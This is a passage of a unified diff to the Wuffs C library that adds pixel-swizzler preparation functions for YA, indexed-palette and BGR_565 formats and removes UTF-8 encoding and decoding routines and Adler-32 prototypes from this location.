WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_xxxx__y_16be; + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_xxxxxxxx__y_16be; + } +- +- return dst_ptr; ++ return NULL; + } +-#endif +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__UTF8) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_2_2; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Unicode and UTF-8 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { +- if (code_point <= 0x7F) { +- if (dst.len >= 1) { +- dst.ptr[0] = (uint8_t)(code_point); +- return 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 0x07FF) { +- if (dst.len >= 2) { +- dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 2; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 0xFFFF) { +- if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { +- dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); +- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 3; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 0x10FFFF) { +- if (dst.len >= 4) { +- dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); +- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); +- dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 4; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over; ++ } ++ return NULL; + } +- +- return 0; ++ return NULL; + } + +-// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a +-// UTF-8 encoded code point, based on the encoding's initial byte. +-// - 0x00 is 1-byte UTF-8 (ASCII). +-// - 0x01 is the start of 2-byte UTF-8. +-// - 0x02 is the start of 3-byte UTF-8. +-// - 0x03 is the start of 4-byte UTF-8. +-// - 0x40 is a UTF-8 tail byte. +-// - 0x80 is invalid UTF-8. +-// +-// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: +-// UTF8-1 = %x00-7F +-// UTF8-2 = %xC2-DF UTF8-tail +-// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / +-// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) +-// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / +-// %xF4 %x80-8F 2( UTF8-tail ) +-// UTF8-tail = %x80-BF +-static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. +- +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. +- +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_1_1; ++ } ++ return NULL; + +- 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. +- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. +- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. +- 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( ++ dst_palette.ptr, dst_palette.len, src_palette.ptr, ++ src_palette.len, true) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgr_565__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // +-wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { +- if (s_len == 0) { +- return wuffs_base__make_utf_8__next__output(0, 0); +- } +- uint32_t c = s_ptr[0]; +- switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { +- case 0: +- return wuffs_base__make_utf_8__next__output(c, 1); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +- case 1: +- if (s_len < 2) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); +- if ((c & 0xC000) != 0x8000) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; + } +- c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); +- return wuffs_base__make_utf_8__next__output(c, 2); ++ return NULL; + +- case 2: +- if (s_len < 3) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); +- if ((c & 0xC0C000) != 0x808000) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; + } +- c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | +- (0x00003F & (c >> 16)); +- if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { +- break; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; + } +- return wuffs_base__make_utf_8__next__output(c, 3); ++ return NULL; + +- case 3: +- if (s_len < 4) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; + } +- c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); +- if ((c & 0xC0C0C000) != 0x80808000) { +- break; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; + } +- c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | +- (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); +- if ((c <= 0xFFFF) || (0x110000 <= c)) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; + } +- return wuffs_base__make_utf_8__next__output(c, 4); +- } ++ return NULL; + +- return wuffs_base__make_utf_8__next__output( +- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // +-wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { +- if (s_len == 0) { +- return wuffs_base__make_utf_8__next__output(0, 0); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; + } +- const uint8_t* ptr = &s_ptr[s_len - 1]; +- if (*ptr < 0x80) { +- return wuffs_base__make_utf_8__next__output(*ptr, 1); ++ return NULL; ++} + +- } else if (*ptr < 0xC0) { +- const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; +- uint32_t n = 1; +- while (ptr != too_far) { +- ptr--; +- n++; +- if (*ptr < 0x80) { +- break; +- } else if (*ptr < 0xC0) { +- continue; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); +- if (o.byte_length != n) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_1_1; + } +- return o; +- } +- } +- +- return wuffs_base__make_utf_8__next__output( +- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); +-} ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { +- // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). +- // +- // TODO: possibly optimize this by manually inlining the +- // wuffs_base__utf_8__next calls. +- size_t original_len = s_len; +- while (s_len > 0) { +- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); +- if ((o.code_point > 0x7F) && (o.byte_length == 1)) { +- break; +- } +- s_ptr += o.byte_length; +- s_len -= o.byte_length; +- } +- return original_len - s_len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( ++ dst_palette.ptr, dst_palette.len, src_palette.ptr, ++ src_palette.len, false) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { +- // TODO: possibly optimize this by checking 4 or 8 bytes at a time. +- const uint8_t* original_ptr = s_ptr; +- const uint8_t* p = s_ptr; +- const uint8_t* q = s_ptr + s_len; +- for (; (p != q) && ((*p & 0x80) == 0); p++) { +- } +- return (size_t)(p - original_ptr); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#ifdef __cplusplus +-} // extern "C" +-#endif ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-// ---------------- Status Codes Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; ++ } ++ return NULL; ++ } ++ return NULL; ++} + +-// ---------------- Private Consts ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgr_565( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_copy_2_2; + +-// ---------------- Private Initializer Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_bgr__bgr_565; + +-// ---------------- Private Function Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return wuffs_private_impl__swizzle_bgrw__bgr_565; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up__choosy_default( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_rgb__bgr_565; + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_arm_neon( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case 